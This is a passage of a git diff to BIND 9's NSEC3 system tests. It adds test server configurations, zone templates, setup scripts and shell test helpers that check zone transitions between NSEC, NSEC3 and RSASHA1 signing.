@@ -0,0 +1,155 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS3
+
+dnssec-policy "nsec" {
+	// no need to change configuration: if no 'nsec3param' is set,
+	// NSEC will be used;
+};
+
+dnssec-policy "nsec3" {
+	nsec3param;
+};
+
+dnssec-policy "optout" {
+	nsec3param optout yes;
+};
+
+dnssec-policy "nsec3-other" {
+	nsec3param iterations 11 optout yes salt-length 8;
+};
+
+options {
+	query-source address 10.53.0.3;
+	notify-source 10.53.0.3;
+	transfer-source 10.53.0.3;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.3; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+/* This zone starts with NSEC, but will be reconfigured to use NSEC3. */
+zone "nsec-to-nsec3.kasp" {
+	type primary;
+	file "nsec-to-nsec3.kasp.db";
+	dnssec-policy "nsec";
+};
+
+/* These zones use the default NSEC3 settings. */
+zone "nsec3.kasp" {
+	type primary;
+	file "nsec3.kasp.db";
+	dnssec-policy "nsec3";
+};
+
+zone "nsec3-dynamic.kasp" {
+	type primary;
+	file "nsec3-dynamic.kasp.db";
+	dnssec-policy "nsec3";
+	allow-update { any; };
+};
+
+/* This zone uses non-default NSEC3 settings. */
+zone "nsec3-other.kasp" {
+	type primary;
+	file "nsec3-other.kasp.db";
+	dnssec-policy "nsec3-other";
+};
+
+/* These zones will be reconfigured to use other NSEC3 settings. */
+zone "nsec3-change.kasp" {
+	type primary;
+	file "nsec3-change.kasp.db";
+	dnssec-policy "nsec3";
+};
+
+zone "nsec3-dynamic-change.kasp" {
+	type primary;
+	file "nsec3-dynamic-change.kasp.db";
+	inline-signing no;
+	dnssec-policy "nsec3";
+	allow-update { any; };
+};
+
+/* The zone will be reconfigured to use opt-out. */
+zone "nsec3-to-optout.kasp" {
+	type primary;
+	file "nsec3-to-optout.kasp.db";
+	dnssec-policy "nsec3";
+};
+
+/* The zone will be reconfigured to disable opt-out. */
+zone "nsec3-from-optout.kasp" {
+	type primary;
+	file "nsec3-from-optout.kasp.db";
+	dnssec-policy "optout";
+};
+
+/* The zone starts with NSEC3, but will be reconfigured to use NSEC. */
+zone "nsec3-to-nsec.kasp" {
+	type primary;
+	file "nsec3-to-nsec.kasp.db";
+	dnssec-policy "nsec3";
+};
+
+/* The zone fails to load, this should not prevent shutdown. */
+zone "nsec3-fails-to-load.kasp" {
+	type primary;
+	file "nsec3-fails-to-load.kasp.db";
+	dnssec-policy "nsec3";
+	allow-update { any; };
+};
+
+/* These zones switch from dynamic to inline-signing or vice versa. */
+zone "nsec3-dynamic-to-inline.kasp" {
+	type primary;
+	file "nsec3-dynamic-to-inline.kasp.db";
+	inline-signing no;
+	dnssec-policy "nsec3";
+	allow-update { any; };
+};
+
+zone "nsec3-inline-to-dynamic.kasp" {
+       type primary;
+       file "nsec3-inline-to-dynamic.kasp.db";
+       dnssec-policy "nsec3";
+};
+
+/* Test adding a NSEC3 record to an inline-signing dnssec-policy zone. */
+zone "nsec3-dynamic-update-inline.kasp" {
+       type primary;
+       file "nsec3-dynamic-update-inline.kasp.db";
+       allow-update { any; };
+       dnssec-policy "nsec";
+};
+
+zone "nsec3-xfr-inline.kasp" {
+       type secondary;
+       file "nsec3-xfr-inline.kasp.db";
+       dnssec-policy "nsec";
+       primaries { 10.53.0.2; };
+};
diff --git a/bin/tests/system/nsec3/ns3/named.conf.in b/bin/tests/system/nsec3/ns3/named.conf.in
index 791881225b..9b1235e36f 100644
--- a/bin/tests/system/nsec3/ns3/named.conf.in
+++ b/bin/tests/system/nsec3/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,103 +13,55 @@
 
 // NS3
 
-dnssec-policy "nsec" {
-	// no need to change configuration: if no 'nsec3param' is set,
-	// NSEC will be used;
-};
-
-dnssec-policy "nsec3" {
-	nsec3param;
-};
-
-dnssec-policy "optout" {
-	nsec3param optout yes;
-};
-
-dnssec-policy "nsec3-other" {
-	nsec3param iterations 11 optout yes salt-length 0;
-};
-
-options {
-	query-source address 10.53.0.3;
-	notify-source 10.53.0.3;
-	transfer-source 10.53.0.3;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.3; };
-	listen-on-v6 { none; };
-	allow-transfer { any; };
-	recursion no;
-};
-
-key rndc_key {
-	secret "1234abcd8765";
-	algorithm hmac-sha256;
-};
-
-controls {
-	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
-
-/* This zone starts with NSEC, but will be reconfigured to use NSEC3. */
-zone "nsec-to-nsec3.kasp" {
-	type primary;
-	file "nsec-to-nsec3.kasp.db";
-	dnssec-policy "nsec";
-};
+include "named-fips.conf";
 
-/* These zones use the default NSEC3 settings. */
-zone "nsec3.kasp" {
-	type primary;
-	file "nsec3.kasp.db";
-	dnssec-policy "nsec3";
+dnssec-policy "rsasha1" {
+	keys {
+		csk lifetime unlimited algorithm rsasha1;
+	};
 };
 
-zone "nsec3-dynamic.kasp" {
-	type primary;
-	file "nsec3-dynamic.kasp.db";
-	dnssec-policy "nsec3";
-	allow-update { any; };
-};
-
-/* This zone uses non-default NSEC3 settings. */
-zone "nsec3-other.kasp" {
-	type primary;
-	file "nsec3-other.kasp.db";
-	dnssec-policy "nsec3-other";
-};
-
-/* These zones will be reconfigured to use other NSEC3 settings. */
-zone "nsec3-change.kasp" {
+/*
+ * This zone starts with NSEC, but will be reconfigured to use NSEC3.
+ * This should work despite the incompatible RSAHSHA1 algorithm,
+ * because the DS is still in hidden state.
+ */
+zone "rsasha1-to-nsec3.kasp" {
 	type primary;
-	file "nsec3-change.kasp.db";
-	dnssec-policy "nsec3";
+	file "rsasha1-to-nsec3.kasp.db";
+	dnssec-policy "rsasha1";
 };
 
-zone "nsec3-dynamic-change.kasp" {
+/*
+ * This zone starts with NSEC, but will be reconfigured to use NSEC3.
+ * This should block because RSASHA1 is not compatible with NSEC3,
+ * and the DS is published.
+ */
+zone "rsasha1-to-nsec3-wait.kasp" {
 	type primary;
-	file "nsec3-dynamic-change.kasp.db";
-	dnssec-policy "nsec3";
-	allow-update { any; };
+	file "rsasha1-to-nsec3-wait.kasp.db";
+	dnssec-policy "rsasha1";
 };
 
-/* The zone will be reconfigured to use opt-out. */
-zone "nsec3-to-optout.kasp" {
+/*
+ * This zone starts with NSEC3, but will be reconfigured to use NSEC with an
+ * NSEC only algorithm. This should work despite the incompatible RSAHSHA1
+ * algorithm, because the DS is still in hidden state.
+ */
+zone "nsec3-to-rsasha1.kasp" {
 	type primary;
-	file "nsec3-to-optout.kasp.db";
+	file "nsec3-to-rsasha1.kasp.db";
 	dnssec-policy "nsec3";
 };
 
-/* The zone will be reconfigured to disable opt-out. */
-zone "nsec3-from-optout.kasp" {
-	type primary;
-	file "nsec3-from-optout.kasp.db";
-	dnssec-policy "optout";
-};
-
-/* The zone starts with NSEC3, but will be reconfigured to use NSEC. */
-zone "nsec3-to-nsec.kasp" {
+/*
+ * This zone starts with NSEC3, but will be reconfigured to use NSEC with an
+ * NSEC only algorithm. This should also be fine because we are allowed
+ * to change to NSEC with any algorithm, then we can also publish the new
+ * DNSKEY and signatures of the RSASHA1 algorithm.
+ */
+zone "nsec3-to-rsasha1-ds.kasp" {
 	type primary;
-	file "nsec3-to-nsec.kasp.db";
+	file "nsec3-to-rsasha1-ds.kasp.db";
 	dnssec-policy "nsec3";
 };
diff --git a/bin/tests/system/nsec3/ns3/named2-fips.conf.in b/bin/tests/system/nsec3/ns3/named2-fips.conf.in
new file mode 100644
index 0000000000..87e87f2e17
--- /dev/null
+++ b/bin/tests/system/nsec3/ns3/named2-fips.conf.in
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS3
+
+dnssec-policy "nsec" {
+	// no need to change configuration: if no 'nsec3param' is set,
+	// NSEC will be used;
+};
+
+dnssec-policy "nsec3" {
+	nsec3param;
+};
+
+dnssec-policy "optout" {
+	nsec3param optout yes;
+};
+
+dnssec-policy "nsec3-other" {
+	nsec3param iterations 11 optout yes salt-length 0;
+};
+
+options {
+	query-source address 10.53.0.3;
+	notify-source 10.53.0.3;
+	transfer-source 10.53.0.3;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.3; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+/* This zone starts with NSEC, but will be reconfigured to use NSEC3. */
+zone "nsec-to-nsec3.kasp" {
+	type primary;
+	file "nsec-to-nsec3.kasp.db";
+	//dnssec-policy "nsec";
+	dnssec-policy "nsec3";
+};
+
+/* These zones use the default NSEC3 settings. */
+zone "nsec3.kasp" {
+	type primary;
+	file "nsec3.kasp.db";
+	dnssec-policy "nsec3";
+};
+
+zone "nsec3-dynamic.kasp" {
+	type primary;
+	file "nsec3-dynamic.kasp.db";
+	dnssec-policy "nsec3";
+	allow-update { any; };
+};
+
+/* This zone uses non-default NSEC3 settings. */
+zone "nsec3-other.kasp" {
+	type primary;
+	file "nsec3-other.kasp.db";
+	dnssec-policy "nsec3-other";
+};
+
+/* These zone will be reconfigured to use other NSEC3 settings. */
+zone "nsec3-change.kasp" {
+	type primary;
+	file "nsec3-change.kasp.db";
+	//dnssec-policy "nsec3";
+	dnssec-policy "nsec3-other";
+};
+
+zone "nsec3-dynamic-change.kasp" {
+	type primary;
+	file "nsec3-dynamic-change.kasp.db";
+	//dnssec-policy "nsec3";
+	inline-signing no;
+	dnssec-policy "nsec3-other";
+	allow-update { any; };
+};
+
+/* The zone will be reconfigured to use opt-out. */
+zone "nsec3-to-optout.kasp" {
+	type primary;
+	file "nsec3-to-optout.kasp.db";
+	//dnssec-policy "nsec3";
+	dnssec-policy "optout";
+};
+
+/* The zone will be reconfigured to disable opt-out. */
+zone "nsec3-from-optout.kasp" {
+	type primary;
+	file "nsec3-from-optout.kasp.db";
+	//dnssec-policy "optout";
+	dnssec-policy "nsec3";
+};
+
+/* The zone starts with NSEC3, but will be reconfigured to use NSEC. */
+zone "nsec3-to-nsec.kasp" {
+	type primary;
+	file "nsec3-to-nsec.kasp.db";
+	//dnssec-policy "nsec3";
+	dnssec-policy "nsec";
+};
+
+/* The zone fails to load, but is fixed after a reload. */
+zone "nsec3-fails-to-load.kasp" {
+	type primary;
+	file "nsec3-fails-to-load.kasp.db";
+	dnssec-policy "nsec3";
+	allow-update { any; };
+};
+
+/* These zones switch from dynamic to inline-signing or vice versa. */
+zone "nsec3-dynamic-to-inline.kasp" {
+       type primary;
+       file "nsec3-dynamic-to-inline.kasp.db";
+       dnssec-policy "nsec3";
+       allow-update { any; };
+};
+
+zone "nsec3-inline-to-dynamic.kasp" {
+       type primary;
+       file "nsec3-inline-to-dynamic.kasp.db";
+       inline-signing no;
+       dnssec-policy "nsec3";
+       allow-update { any; };
+};
diff --git a/bin/tests/system/nsec3/ns3/named2.conf.in b/bin/tests/system/nsec3/ns3/named2.conf.in
index ece1549395..a883940f31 100644
--- a/bin/tests/system/nsec3/ns3/named2.conf.in
+++ b/bin/tests/system/nsec3/ns3/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,109 +13,59 @@
 
 // NS3
 
-dnssec-policy "nsec" {
-	// no need to change configuration: if no 'nsec3param' is set,
-	// NSEC will be used;
-};
-
-dnssec-policy "nsec3" {
-	nsec3param;
-};
-
-dnssec-policy "optout" {
-	nsec3param optout yes;
-};
-
-dnssec-policy "nsec3-other" {
-	nsec3param iterations 11 optout yes salt-length 0;
-};
-
-options {
-	query-source address 10.53.0.3;
-	notify-source 10.53.0.3;
-	transfer-source 10.53.0.3;
-	port @PORT@;
-	pid-file "named.pid";
-	listen-on { 10.53.0.3; };
-	listen-on-v6 { none; };
-	allow-transfer { any; };
-	recursion no;
-};
-
-key rndc_key {
-	secret "1234abcd8765";
-	algorithm hmac-sha256;
-};
+include "named-fips.conf";
 
-controls {
-	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
-};
-
-/* This zone starts with NSEC, but will be reconfigured to use NSEC3. */
-zone "nsec-to-nsec3.kasp" {
-	type primary;
-	file "nsec-to-nsec3.kasp.db";
-	//dnssec-policy "nsec";
-	dnssec-policy "nsec3";
+dnssec-policy "rsasha1" {
+	keys {
+		csk lifetime unlimited algorithm rsasha1;
+	};
 };
 
-/* These zones use the default NSEC3 settings. */
-zone "nsec3.kasp" {
+/*
+ * This zone starts with NSEC, but will be reconfigured to use NSEC3.
+ * This should work despite the incompatible RSAHSHA1 algorithm,
+ * because the DS is still in hidden state.
+ */
+zone "rsasha1-to-nsec3.kasp" {
 	type primary;
-	file "nsec3.kasp.db";
+	file "rsasha1-to-nsec3.kasp.db";
+	//dnssec-policy "rsasha1";
 	dnssec-policy "nsec3";
 };
 
-zone "nsec3-dynamic.kasp" {
+/*
+ * This zone starts with NSEC, but will be reconfigured to use NSEC3.
+ * This should block because RSASHA1 is not compatible with NSEC3,
+ * and the DS is published.
+ */
+zone "rsasha1-to-nsec3-wait.kasp" {
 	type primary;
-	file "nsec3-dynamic.kasp.db";
+	file "rsasha1-to-nsec3-wait.kasp.db";
+	//dnssec-policy "rsasha1";
 	dnssec-policy "nsec3";
-	allow-update { any; };
 };
 
-/* This zone uses non-default NSEC3 settings. */
-zone "nsec3-other.kasp" {
-	type primary;
-	file "nsec3-other.kasp.db";
-	dnssec-policy "nsec3-other";
-};
-
-/* These zone will be reconfigured to use other NSEC3 settings. */
-zone "nsec3-change.kasp" {
-	type primary;
-	file "nsec3-change.kasp.db";
-	//dnssec-policy "nsec3";
-	dnssec-policy "nsec3-other";
-};
-
-zone "nsec3-dynamic-change.kasp" {
-	type primary;
-	file "nsec3-dynamic-change.kasp.db";
-	//dnssec-policy "nsec3";
-	dnssec-policy "nsec3-other";
-	allow-update { any; };
-};
-
-/* The zone will be reconfigured to use opt-out. */
-zone "nsec3-to-optout.kasp" {
+/*
+ * This zone starts with NSEC3, but will be reconfigured to use NSEC with an
+ * NSEC only algorithm. This should work despite the incompatible RSAHSHA1
+ * algorithm, because the DS is still in hidden state.
+ */
+zone "nsec3-to-rsasha1.kasp" {
 	type primary;
-	file "nsec3-to-optout.kasp.db";
+	file "nsec3-to-rsasha1.kasp.db";
 	//dnssec-policy "nsec3";
-	dnssec-policy "optout";
+	dnssec-policy "rsasha1";
 };
 
-/* The zone will be reconfigured to disable opt-out. */
-zone "nsec3-from-optout.kasp" {
-	type primary;
-	file "nsec3-from-optout.kasp.db";
-	//dnssec-policy "optout";
-	dnssec-policy "nsec3";
-};
-
-/* The zone starts with NSEC3, but will be reconfigured to use NSEC. */
-zone "nsec3-to-nsec.kasp" {
+/*
+ * This zone starts with NSEC3, but will be reconfigured to use NSEC with an
+ * NSEC only algorithm. This should also be fine because we are allowed
+ * to change to NSEC with any algorithm, then we can also publish the new
+ * DNSKEY and signatures of the RSASHA1 algorithm.
+ */
+zone "nsec3-to-rsasha1-ds.kasp" {
 	type primary;
-	file "nsec3-to-nsec.kasp.db";
+	file "nsec3-to-rsasha1-ds.kasp.db";
 	//dnssec-policy "nsec3";
-	dnssec-policy "nsec";
+	dnssec-policy "rsasha1";
 };
diff --git a/bin/tests/system/nsec3/ns3/nsec3-fails-to-load.kasp.db.in b/bin/tests/system/nsec3/ns3/nsec3-fails-to-load.kasp.db.in
new file mode 100644
index 0000000000..77b0d103d9
--- /dev/null
+++ b/bin/tests/system/nsec3/ns3/nsec3-fails-to-load.kasp.db.in
@@ -0,0 +1,19 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+@			IN SOA  kasp. nsec3-fails-to-load.kasp. (
+                                1          ; serial
+                                30         ; refresh (30 seconds)
+                                10         ; retry (10 seconds)
+                                3600000    ; expire (5 weeks 6 days 16 hours)
+                                300        ; minimum (5 minutes)
+                                )
+                        NS      nsec3-fails-to-load.kasp.
diff --git a/bin/tests/system/nsec3/ns3/setup.sh b/bin/tests/system/nsec3/ns3/setup.sh
index 4b529d33d9..68bc2e4511 100644
--- a/bin/tests/system/nsec3/ns3/setup.sh
+++ b/bin/tests/system/nsec3/ns3/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -23,7 +25,36 @@ setup() {
 }
 
 for zn in nsec-to-nsec3 nsec3 nsec3-other nsec3-change nsec3-to-nsec \
-	  nsec3-to-optout nsec3-from-optout nsec3-dynamic nsec3-dynamic-change
+	  nsec3-to-optout nsec3-from-optout nsec3-dynamic \
+	  nsec3-dynamic-change nsec3-dynamic-to-inline \
+	  nsec3-inline-to-dynamic nsec3-dynamic-update-inline
 do
 	setup "${zn}.kasp"
 done
+
+if (cd ..; $SHELL ../testcrypto.sh -q RSASHA1)
+then
+	for zn in rsasha1-to-nsec3 rsasha1-to-nsec3-wait nsec3-to-rsasha1 \
+		  nsec3-to-rsasha1-ds
+	do
+		setup "${zn}.kasp"
+	done
+
+	longago="now-1y"
+	keytimes="-P ${longago} -A ${longago}"
+	O="omnipresent"
+
+	zone="rsasha1-to-nsec3-wait.kasp"
+	CSK=$($KEYGEN -k "rsasha1" -l named.conf $keytimes $zone 2> keygen.out.$zone)
+	echo_i "Created key file $CSK"
+	$SETTIME -s -g $O -k $O $longago -r $O $longago -z $O $longago -d $O $longago "$CSK" > settime.out.$zone 2>&1
+
+	zone="nsec3-to-rsasha1-ds.kasp"
+	CSK=$($KEYGEN -k "default" -l named.conf $keytimes $zone 2> keygen.out.$zone)
+	echo_i "Created key file $CSK"
+	$SETTIME -s -g $O -k $O $longago -r $O $longago -z $O $longago -d $O $longago "$CSK" > settime.out.$zone 2>&1
+else
+	echo_i "skip: skip rsasha1 zones - signing with RSASHA1 not supported"
+fi
+
+cp nsec3-fails-to-load.kasp.db.in nsec3-fails-to-load.kasp.db
diff --git a/bin/tests/system/nsec3/ns3/template.db.in b/bin/tests/system/nsec3/ns3/template.db.in
index 051a312891..010b05b3cb 100644
--- a/bin/tests/system/nsec3/ns3/template.db.in
+++ b/bin/tests/system/nsec3/ns3/template.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nsec3/ns3/template2.db.in b/bin/tests/system/nsec3/ns3/template2.db.in
new file mode 100644
index 0000000000..963606b9dd
--- /dev/null
+++ b/bin/tests/system/nsec3/ns3/template2.db.in
@@ -0,0 +1,27 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@		IN	SOA  mname1. . (
+			2       ; serial
+			20      ; refresh (20 seconds)
+			20      ; retry (20 seconds)
+			1814400 ; expire (3 weeks)
+			900    ; minimum (15 minutes)
+			)
+
+			NS	ns3
+ns3			A	10.53.0.3
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+c			A	10.0.0.3
+
diff --git a/bin/tests/system/nsec3/setup.sh b/bin/tests/system/nsec3/setup.sh
index 8a92ee7dee..9e60297c20 100644
--- a/bin/tests/system/nsec3/setup.sh
+++ b/bin/tests/system/nsec3/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -16,8 +18,20 @@ set -e
 
 $SHELL clean.sh
 
-copy_setports ns3/named.conf.in ns3/named.conf
+copy_setports ns2/named.conf.in ns2/named.conf
+(
+	cd ns2
+	$SHELL setup.sh
+)
 
+if ! ($SHELL ../testcrypto.sh -q RSASHA1)
+then
+    copy_setports ns3/named-fips.conf.in ns3/named.conf
+else
+    copy_setports ns3/named-fips.conf.in ns3/named-fips.conf
+    # includes named-fips.conf
+    cp ns3/named.conf.in ns3/named.conf
+fi
 (
 	cd ns3
 	$SHELL setup.sh
diff --git a/bin/tests/system/nsec3/tests.sh b/bin/tests/system/nsec3/tests.sh
index 62c49e5904..9ed853a982 100644
--- a/bin/tests/system/nsec3/tests.sh
+++ b/bin/tests/system/nsec3/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 # shellcheck source=conf.sh
 . ../conf.sh
 # shellcheck source=kasp.sh
@@ -31,9 +35,16 @@ rndccmd() {
 }
 
 # Set zone name ($1) and policy ($2) for testing nsec3.
+# Also set the expected number of keys ($3) and DNSKEY TTL ($4).
 set_zone_policy() {
 	ZONE=$1
 	POLICY=$2
+	NUM_KEYS=$3
+	DNSKEY_TTL=$4
+	# The CDS digest type in these tests are all the default,
+	# which is SHA-256 (2).
+	CDS_SHA256="yes"
+	CDS_SHA384="no"
 }
 # Set expected NSEC3 parameters: flags ($1), iterations ($2), and
 # salt length ($3).
@@ -45,6 +56,49 @@ set_nsec3param() {
 	SALT=""
 }
 
+# Set expected default dnssec-policy keys values.
+set_key_default_values() {
+	key_clear $1
+
+	set_keyrole      $1 "csk"
+	set_keylifetime  $1 "0"
+	set_keyalgorithm $1 "13" "ECDSAP256SHA256" "256"
+	set_keysigning   $1 "yes"
+	set_zonesigning  $1 "yes"
+
+	set_keystate $1 "GOAL"         "omnipresent"
+	set_keystate $1 "STATE_DNSKEY" "rumoured"
+	set_keystate $1 "STATE_KRRSIG" "rumoured"
+	set_keystate $1 "STATE_ZRRSIG" "rumoured"
+	set_keystate $1 "STATE_DS"     "hidden"
+}
+
+# Set expected rsasha1 dnssec-policy keys values.
+set_key_rsasha1_values() {
+	key_clear $1
+
+	set_keyrole      $1 "csk"
+	set_keylifetime  $1 "0"
+	set_keyalgorithm $1 "5" "RSASHA1" "2048"
+	set_keysigning   $1 "yes"
+	set_zonesigning  $1 "yes"
+
+	set_keystate $1 "GOAL"         "omnipresent"
+	set_keystate $1 "STATE_DNSKEY" "rumoured"
+	set_keystate $1 "STATE_KRRSIG" "rumoured"
+	set_keystate $1 "STATE_ZRRSIG" "rumoured"
+	set_keystate $1 "STATE_DS"     "hidden"
+}
+
+# Update the key states.
+set_key_states() {
+	set_keystate $1 "GOAL"         "$2"
+	set_keystate $1 "STATE_DNSKEY" "$3"
+	set_keystate $1 "STATE_KRRSIG" "$4"
+	set_keystate $1 "STATE_ZRRSIG" "$5"
+	set_keystate $1 "STATE_DS"     "$6"
+}
+
 # The apex NSEC3PARAM record indicates that it is signed.
 _wait_for_nsec3param() {
 	dig_with_opts +noquestion "@${SERVER}" "$ZONE" NSEC3PARAM > "dig.out.test$n.wait" || return 1
@@ -65,7 +119,7 @@ _wait_for_nsec() {
 wait_for_zone_is_signed() {
 	n=$((n+1))
 	ret=0
-	echo_i "wait for ${ZONE} to be signed ($n)"
+	echo_i "wait for ${ZONE} to be signed with $1 ($n)"
 
 	if [ "$1" = "nsec3" ]; then
 		retry_quiet 10 _wait_for_nsec3param || log_error "wait for ${ZONE} to be signed failed"
@@ -77,24 +131,45 @@ wait_for_zone_is_signed() {
 	status=$((status+ret))
 }
 
+# Test: check DNSSEC verify
+_check_dnssec_verify() {
+        dig_with_opts @$SERVER "${ZONE}" AXFR > "dig.out.test$n.axfr.$ZONE" || return 1
+        $VERIFY -z -o "$ZONE" "dig.out.test$n.axfr.$ZONE" > "verify.out.test$n.$ZONE" 2>&1 || return 1
+	return 0
+}
+
 # Test: check NSEC in answers
-_check_nsec_nsec3param()
-{
+_check_nsec_nsec3param() {
 	dig_with_opts +noquestion @$SERVER "${ZONE}" NSEC3PARAM > "dig.out.test$n.nsec3param.$ZONE" || return 1
 	grep "NSEC3PARAM" "dig.out.test$n.nsec3param.$ZONE" > /dev/null && return 1
 	return 0
 }
 
-_check_nsec_nxdomain()
-{
+_check_nsec_nxdomain() {
 	dig_with_opts @$SERVER "nosuchname.${ZONE}" > "dig.out.test$n.nxdomain.$ZONE" || return 1
 	grep "${ZONE}.*IN.*NSEC.*NS.*SOA.*RRSIG.*NSEC.*DNSKEY" "dig.out.test$n.nxdomain.$ZONE" > /dev/null || return 1
 	grep "NSEC3" "dig.out.test$n.nxdomain.$ZONE" > /dev/null && return 1
 	return 0
 }
 
-check_nsec()
-{
+check_nsec() {
+	wait_for_zone_is_signed "nsec"
+
+	n=$((n+1))
+	echo_i "check DNSKEY rrset is signed correctly for zone ${ZONE} ($n)"
+	ret=0
+	check_keys
+	retry_quiet 10 _check_apex_dnskey || log_error "bad DNSKEY RRset for zone ${ZONE}"
+	test "$ret" -eq 0 || echo_i "failed"
+	status=$((status+ret))
+
+	n=$((n+1))
+	echo_i "verify DNSSEC for zone ${ZONE} ($n)"
+	ret=0
+	retry_quiet 10 _check_dnssec_verify || log_error "DNSSEC verify failed for zone ${ZONE}"
+	test "$ret" -eq 0 || echo_i "failed"
+	status=$((status+ret))
+
 	n=$((n+1))
 	echo_i "check NSEC3PARAM response for zone ${ZONE} ($n)"
 	ret=0
@@ -111,26 +186,25 @@ check_nsec()
 }
 
 # Test: check NSEC3 parameters in answers
-_check_nsec3_nsec3param()
-{
+_check_nsec3_nsec3param() {
 	dig_with_opts +noquestion @$SERVER "${ZONE}" NSEC3PARAM > "dig.out.test$n.nsec3param.$ZONE" || return 1
 	grep "${ZONE}.*0.*IN.*NSEC3PARAM.*1.*0.*${ITERATIONS}.*${SALT}" "dig.out.test$n.nsec3param.$ZONE" > /dev/null || return 1
 
 	if [ -z "$SALT" ]; then
-		SALT=`awk '$4 == "NSEC3PARAM" { print $8 }' dig.out.test$n.nsec3param.$ZONE`
+		SALT=$(awk '$4 == "NSEC3PARAM" { print $8 }' dig.out.test$n.nsec3param.$ZONE)
 	fi
 	return 0
 }
 
-_check_nsec3_nxdomain()
-{
